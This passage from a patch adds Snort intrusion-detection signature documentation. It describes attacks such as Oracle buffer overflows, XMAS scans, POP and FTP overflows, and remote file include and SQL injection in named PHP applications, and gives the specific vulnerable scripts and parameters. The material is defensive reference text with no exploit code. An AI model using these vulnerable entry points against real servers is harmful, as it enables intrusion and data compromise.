+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application Proxy2.de Advanced Poll
+2.0.2. This application does not perform stringent checks when handling
+user input, this may lead to the attacker being able to execute PHP
+code, include php files and possibly retrieve sensitive files from the
+server running the application.
+
+--
+Affected Systems:
+	All systems running Proxy2.de Advanced Poll 2.0.2
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1642.txt
+++ snort-2.8.5.2/doc/signatures/1642.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1642
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1099.txt
+++ snort-2.8.5.2/doc/signatures/1099.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1099
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/625.txt
+++ snort-2.8.5.2/doc/signatures/625.txt
@@ -0,0 +1,65 @@
+Rule:
+--
+Sid:
+625
+
+Summary:
+--
+A TCP packet with all of the (unreserved) control bits set was
+detected as being destined for your machine. 
+
+--
+Impact:
+System recon.  Different operating-systems will respond in different
+ways depending on their particular stack implementation.  This allows
+attackers to determine things such as open/closed ports, ACLs, and the
+like.
+
+--
+Detailed Information:
+The ACK, FIN, PSH, RST, SYN, and URG control bits were set in a TCP
+packet.  
+
+--
+Affected Systems:
+ 
+--
+Attack Scenarios:
+As part of a recon mission that may be an indicator to upcoming
+attacks, an attacker may attempt to determine what ports are listening
+on a given machine by sending a TCP packet with all of its control
+bits "lit up", hence the name XMAS scan -- its "lit up like a
+christmas tree."
+__
+Ease of Attack:
+Trivial.  Many of the popular portscanners/vulnerability testers, most
+notably nmap, allow anyone to inititiate an XMAS scan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Determine what information an attacker may have gleaned from this
+attack.  Would your ports show as open or closed?  Consider
+implementing a stateful firewall on the victim machine, or at ingress
+points on your network.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Jon Hart <warchild@spoofed.org>
+
+-- 
+Additional References:
+http://rr.sans.org/firewall/egress.php
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1677.txt
+++ snort-2.8.5.2/doc/signatures/1677.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid: 1677
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2875.txt
+++ snort-2.8.5.2/doc/signatures/2875.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2875
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_priority
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/505.txt
+++ snort-2.8.5.2/doc/signatures/505.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+SID:
+505
+
+--
+Summary:
+This event is generated when an attempt is made to login to a Timbuktu server using an unencrypted link.
+
+--
+Impact:
+Serious. Unauthorized access to the server.
+
+--
+Detailed information:
+Looks at the initial hex code of a Timbuktu client login and captures the login and password  combination. 
+
+This is a poor security practice over the open internet and on untrusted network links. This is a  Timbuktu login going over plaintext to the Timbuktu server.
+
+That means that anyone sniffing the wire can now use the login and password used to gain access to  the Timbuktu server.
+
+--
+Affected Systems:
+	Windows all versions
+	Mac OS 7.5.3 and later
+
+--
+Attack Scenario:
+An attacker can use a sniffer to gain the user login credentials and use the information to gain unauthorized access to the machine.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+Timbuktu may use a port other than 1417 
+
+--
+Corrective Action:
+Use Timbuktu over encrypted links or only on local LANs
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Jake Babbin 
+
+--
+References: 
+
+Arachnids:
+arachnids 229 
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2290.txt
+++ snort-2.8.5.2/doc/signatures/2290.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2290
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application Proxy2.de Advanced Poll 2.0.2
+running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application Proxy2.de Advanced Poll
+2.0.2. This application does not perform stringent checks when handling
+user input, this may lead to the attacker being able to execute PHP
+code, include php files and possibly retrieve sensitive files from the
+server running the application.
+
+--
+Affected Systems:
+	All systems running Proxy2.de Advanced Poll 2.0.2
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000608.txt
+++ snort-2.8.5.2/doc/signatures/100000608.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000608
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "link_bad.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "link_bad.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1935.txt
+++ snort-2.8.5.2/doc/signatures/1935.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+1936
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow condition in the Post Office Protocol (POP) command FOLD.
+
+--
+Impact:
+Possible remote execution of arbitrary code leading to a remote root 
+compromise.
+
+--
+Detailed Information:
+A vulnerability exists such that an attacker may include files of their
+choosing when supplying data to a POP server via the FOLD command.
+
+The FOLD command allows the user to specify a mail folder to select.  By
+specifying a very large argument, the user can exploit the buffer overflow
+condition.
+
+--
+Attack Scenarios:
+Simple. An attacker can supply specially crafted packets to a POP server
+via the FOLD function. 
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Ricky Macatee <ricky.macatee@sourcefire.com>
+
+--
+Additional References:
+
+RFC 937:
+http://www.faqs.org/rfc/rfc937.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2850.txt
+++ snort-2.8.5.2/doc/signatures/2850.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2850
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure create_mview_repobject
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/940.txt
+++ snort-2.8.5.2/doc/signatures/940.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+940
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft FrontPage Server Extensions
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/583.txt
+++ snort-2.8.5.2/doc/signatures/583.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+583
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) rstatd is listening.
+
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port rstatd is using.  Attackers can also learn what versions of the rstatd protocol are accepted by rstatd. 
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as rstatd run.  The rstatd RPC service can be queried for performance statistics obtained from the kernel including network, disk, and CPU.  This can provide valuable information to determine which host may make a suitable target to participate in a particular attack. 
+
+--
+Affected Systems:
+All hosts running the UNIX portmapper.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where rstatd runs.  This may be a precursor to querying rstatd for usage statistics.
+
+--
+Ease of Attack:
+Easy.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access rstatd, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for rstatd, not probes of the rstatd service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the rstatd service itself. An attacker may attempt to go directly to the rstatd port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS10
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000823.txt
+++ snort-2.8.5.2/doc/signatures/100000823.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000823
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "VBZooM" application running on a webserver. Access to the file "ignore-pm.php" with SQL commands being passed as the "UserID" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "UserID" parameter in the "ignore-pm.php" script used by the "VBZooM" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using VBZooM
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1884.txt
+++ snort-2.8.5.2/doc/signatures/1884.txt
@@ -0,0 +1,65 @@
+Rule:
+
+
+--
+Sid: 
+
+1884
+
+-- 
+Summary: 
+This rule has been placed in deleted.rules
+
+-- 
+Impact: 
+
+attacker might have gained an ability to execute commands remotely on the system.
+
+--
+Detailed Information:
+
+This signature triggers when a UNIX "id" command is used to confirm
+the user name of the currently logged in user over any unencrypted
+connection. Such connection can be either a legitimate telnet
+connection or a result of spawning a shell on FTP, POP3, SMTP or other
+port as a consequence of network exploit. The string "uid=" and
+"(web)" is an output of an "id" command indicating that the user
+has "web" account privileges, typically used by the web server
+process.  Seeing such a response indicates that some user connected
+over the network to a target web server and likely exploited the web
+server to launch a shell.
+
+--
+Attack Scenarios: 
+
+a buffer overflow exploit against the WWW server results in "/bin/sh" being executed. An automated script performing an attack, checks for the success of the exploit via an "id" command.
+
+-- 
+Ease of Attack: 
+
+this post-attack behavior can accompany different attacks
+
+-- 
+False Positives: 
+
+the signature will trigger if a legitimate system administrator executes the "id" command over the telnet connection which uses one of the web ports, as defined in snort.conf
+
+--
+False Negatives: 
+
+not known
+
+-- 
+Corrective Action: 
+
+investigate the server for signs of compromise, run
+the integrity checking software, look for other IDS alerts involving
+the same IP addresses.
+
+--
+Contributors: Anton Chuvakin <anton@chuvakin.org>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1211.txt
+++ snort-2.8.5.2/doc/signatures/1211.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1211
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2340.txt
+++ snort-2.8.5.2/doc/signatures/2340.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2340
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer 
+overflow vulnerability associated with RhinoSoft Serv-u FTP Server CHMOD 
+command. 
+
+--
+Impact:
+Remote access.  A successful attack may permit the remote execution of 
+arbitrary commands with system privileges.
+
+--
+Detailed Information:
+Serv-u offers FTP servers for Windows hosts. A vulnerability exists 
+with the CHMOD command that can cause a buffer overflow and permit the 
+execution of arbitrary commands with system privileges. The buffer 
+overflow can be caused by supplying an overly long argument to the CHMOD 
+command.
+
+--
+Affected Systems:
+	RhinoSoft Serv-u FTP Server prior to version 4.2 
+
+--
+Attack Scenarios:
+An attacker can supply an overly long file argument with the CHMOD 
+command, causing a buffer overflow.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1687.txt
+++ snort-2.8.5.2/doc/signatures/1687.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid: 1687
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000322.txt
+++ snort-2.8.5.2/doc/signatures/100000322.txt
@@ -0,0 +1,78 @@
+
+
+Rule:
+
+--
+Sid:
+100000322
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "ScozNet ScozNews" application running on a 
+webserver. Access to the file "mail.php" using a remote file being passed as 
+the "main_path" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "main_path" parameter in the "mail.php" script used by 
+the "ScozNet ScozNews" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using ScozNet ScozNews
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000426.txt
+++ snort-2.8.5.2/doc/signatures/100000426.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000426
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "DotClear" application running on a webserver. Access to the file "prepend.php" using a remote file being passed as the "blog_dc_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "blog_dc_path" parameter in the "prepend.php" script used by the "DotClear" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using DotClear
+
+--
+Attack Scenarios:
